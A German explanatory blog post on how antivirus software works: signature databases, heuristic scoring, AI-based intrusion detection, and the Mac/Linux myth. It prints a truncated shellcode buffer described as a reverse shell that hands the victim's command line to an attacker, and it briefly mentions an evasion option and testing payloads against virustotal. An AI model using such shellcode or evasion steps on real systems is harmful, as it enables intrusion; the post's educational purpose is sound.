2018-08-30 6 Minuten

Wie funktioniert ein Antivirus?

Fragen, die man sich noch nie wirklich gestellt hat.

Aus der Reihe: “Dinge, über die man sich noch nie wirklich Gedanken gemacht hat”. Ich kann mich noch gut erinnern, als ich meinen ersten Computer bedienen durfte (Windows 98). Das war eine völlig neue Welt.

Aber eines ist mir im Kopf hängen geblieben:

“Mach ja immer das Update vom Antivirus”.

– Papa

Eh. Aber warum? Diese Frage habe ich mir nie gestellt. Und ich wette, du auch nicht.

Was eigentlich schade ist, denn ein Antivirus Programm ist ein geniales Stück Technik. Es schützt uns, ist immer da, und zerschießt auch nur unregelmäßig den gesamten PC. Mehr kann man sich eigentlich nicht wünschen.

Warum brauchen wir eigentlich einen Antivirus?

Hierfür müssen wir uns zuerst ansehen, wie Schadsoftware aussieht. Hier lässt sich direkt eine interessante Parallele zur Biologie beobachten:

In der Schadsoftware gibt es auch Familien / Gattungen und Arten.

So sind 2017 (laut gdata) 8,4 Millionen neue Exemplare an Malware “auf den Markt gekommen”. Das ist viel. Ein Wunder, dass eigentlich nicht mehr passiert.

Wobei man dazusagen muss: der Großteil ist eine abgewandelte Variante einer bereits existenten Malware (Evolution, anyone?) und kann mit heutigen Mitteln gut abgefangen werden.

Aber ich kann euch hier nicht hängen lassen, ohne euch zu zeigen, wie Schadsoftware eigentlich aussieht.

Hinweis: dieses Beispiel ist stark vereinfacht, gekürzt, würde ohne weitere Schritte nicht einmal funktionieren und ist daher harmlos! Richtige Schadsoftware ist viel komplexer.

Der Code unten macht eigentlich nichts anderes, als sich zu einer IP-Adresse zu verbinden, und die Kommandozeile des Opfers dem Hacker zur Verfügung zu stellen.

buf =
„\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48
[…]
\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5“

Damit dieses Beispiel funktioniert, muss es am Computer eines Opfers ausgeführt werden.
Und hier kommt der Antivirus ins Spiel.

Wie funktioniert ein Antivirus?

Damals, im eingangs erwähnten Beispiel war es noch einfach. Die Viren damals waren noch weit nicht so destruktiv wie sie das heute sind – aber natürlich dennoch schädlich.

Auch die Antiviren basierten auf einem relativ einfachen Prinzip:

Basierend auf der Signatur

Jeder Programmcode hat eine bestimmte Signatur. Ein “trivialer” Antivirus macht nichts anderes, als die Dateien auf einem Computer nach boshaften Signaturen zu durchsuchen.

Aber wie weiß der Antivirus, was schädlich ist?

Der Alltag einer Antivirenfirma anno dazumals bestand daraus, Schadsoftware in freier Wildbahn zu fangen, ihre Signatur zu analysieren und der eigenen Datenbank hinzuzufügen. Diese Datenbank wurde dann an alle Clients der Software verteilt.

Das Programm vergleicht dann nur mehr Signaturen der Programme am Computer mit der Datenbank.

Und das ist der Grund, warum wir Antivirus-Updates machen sollten. Tun wir das nicht, könnte eine neue Schadsoftware nicht einmal erkannt werden. Weil der Antivirus die Signatur nicht kennt.

Die schlechte Nachricht: diese Form von Antivirus ist sehr leicht zu umgehen.

Das ist also noch nicht die Lösung.

Heuristische Analyse

Auf heuristischer Analyse basierende Antivirenprogramme sind da schon ein wenig flexibler.

Der Grundgedanke ist hier:

Jedes Programm führt unzählige Aktionen aus. Jede dieser Aktionen kann nach ihrem Risiko bewertet werden, dass sie von Schadsoftware ausgeführt wurde.

Der Antivirus beobachtet in diesem Fall jedes Programm, teilt einen entsprechenden Risikowert zu und – falls dieser einen Richtwert übersteigt – schlägt Alarm.

Verdächtige Aktionen können zum Beispiel sein:

  • Die Software kontaktiert zufällige Domains (z.B. um sich Befehle abzuholen),
  • versucht Dinge herauszufinden, die sie nichts angehen oder
  • nutzt bekannte Sicherheitslücken aus

Hier ist also nicht mehr die Datenbank mit Signaturen der Kern des Antivirus, sondern die Anzahl und Abstimmung der einzelnen Faktoren, die berücksichtigt werden. Natürlich halten die Antivirus-Hersteller diese Faktoren geheim.

Beispiel: Diese Form des Antivirus vergleiche ich gerne mit einem guten Türsteher/Security. Der Antivirus steht im Hintergrund, beobachtet die Gaudi auf der Tanzfläche, hat ein geschultes Auge. Bahnt sich eine ungute Situation an (passiert also eine “verdächtige” Aktion), wird eingeschritten.

Der Vorteil hier liegt klar auf der Hand: der Antivirus muss nicht jeden betrunkenen Stressmacher persönlich kennen (um beim Beispiel zu bleiben), sondern springt auf verdächtige Aktionen an. Es werden also auch abgewandelte Formen von Schadsoftware erkannt.

Für uns als Privatnutzer endet hier die Reise. Für Regierungen und große Unternehmen beginnt sie hier.

Künstliche Intelligenz

Geheimtip: Immer wenn du von “Vielzahl an Faktoren” liest, denk an AI (Artificial Intelligence).

Das Feld der Schadsoftware ist prädestiniert für die Anwendung von künstlicher Intelligenz:

Jedes Firmennetzwerk ist einzigartig. Das hat zur Folge, dass auch die Kategorisierung in “verdächtige Aktionen” vielleicht gar nicht mehr so einfach ist.

Der aktuelle Stand der Technik ist also ein AI-basiertes IDS (Intrusion Detection Systems) – eine künstliche Intelligenz, die das gesamte Netzwerk eines Unternehmens beobachtet, für jeden Rechner und User “normale Aktionen” definiert und Alarm schlägt, falls sich z.B. Franz aus der Buchhaltung plötzlich nach Russland verbindet.

Hier wird es schon schwierig für Script Kiddie sh4d0wh4xx0r, gegen solche Systeme anzukommen. Das schaffen dann wohl nur mehr Parteien, die die entsprechende Manpower und Finanzierung haben. Also Nation States.

Wie kann man einen Antivirus umgehen?

Das kommt ganz auf das Ziel an – ein signaturbasierter Antivirus lässt sich mit ein wenig herumtüfteln austricksen.

Das Tool, mit dem ich den Code oben generiert habe, hat dafür eine eigene Option. Ich könnte also beliebig viel Schadsoftware generieren, auf z.B. virustotal.com hochladen, und mir ansehen, von welchen Antivirenprogrammen das Ding erkannt wird. Ist sie gut genug, kann ich sie einsetzen.

Bei allen anderen Systemen kommt ein signifikanter Aufwand auf den Hacker zu. Es müssen alle verdächtigen Aktionen so verschleiert werden, dass der entsprechende Risikowert nicht zu hoch ist. Manche Hackinggruppen sind für Schadsoftware bekannt, die nur alle paar Monate nach Hause telefoniert, um sich ihre neuen Befehle abzuholen. So etwas könnte leicht unentdeckt bleiben.

Hier gibt es natürlich auch viele Taktiken. Taktiken, die aber auch den Antivirus-Hersteller bekannt sind. Ein jahrzehntelanges Katz- und Maus-Spiel.

Brauche ich auf meinem Mac / Linux wirklich keinen Antivirus?

Dieser Mythos hält sich sehr hartnäckig. Hintergrund ist hier einfach nur ein Number’s Game: Der Marktanteil von Macs und Linux Systemen ist einfach so gering, dass es sich oft finanziell nicht auszahlt, großartig dafür Viren zu Programmieren.

Davon abgesehen, ist das Berechtigungssystem auf diesen Systemen um einiges resilienter. Auch so extreme Sicherheitslücken wie Microsofts MS17-010 müssen am Mac und Linux noch auftauchen.

MS17-010 ist besser bekannt als Eternalblue oder Eternalromance. Eine Sicherheitslücke, die von der NSA gefunden wurde, dann ins Internet geleakt ist – und uns innerhalb kürzester Zeit die Ransomware Wannacry und Milliardenschäden beschert hat.

Dennoch:

Mac und Linux sind keineswegs sicher. Es gibt genauso Schadsoftware für den Mac, und genauso Sicherheitslücken in Linux. Das ist also keine Ausrede, die eigene Vorsicht hier an den Nagel zu hängen. Das ist einfach nur Bad Practice.

Fazit

Zugegeben, ich habe auch liebend gerne gegen Antivirus-Software gehated. Vor Allem, wenn sie wieder mal meinen ganzen PC lahmgelegt hat. Und genau dann den ultimativen Scan beginnen muss, wenn es am unpassendsten ist.

Heute weiß ich, was diese Software eigentlich für einen riesen Aufwand betreibt, uns Endnutzer zumindest bis zu einem gewissen Grad zu sichern.

Zumindest, bis die Variable “Mensch” in die Gleichung eingeführt wird. Da kann die beste Software oft nichts mehr ausrichten.

Von Hackern, Wordpress, SEO & Co

  • Wo kommt mein Spam her?
  • Wie leicht ist es, eine Wordpress Seite zu hacken?
  • Wie Umzugsfirmen ihre Gaunereien mit SEO umsetzen

...wöchentlich in deiner Inbox! 🚀

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.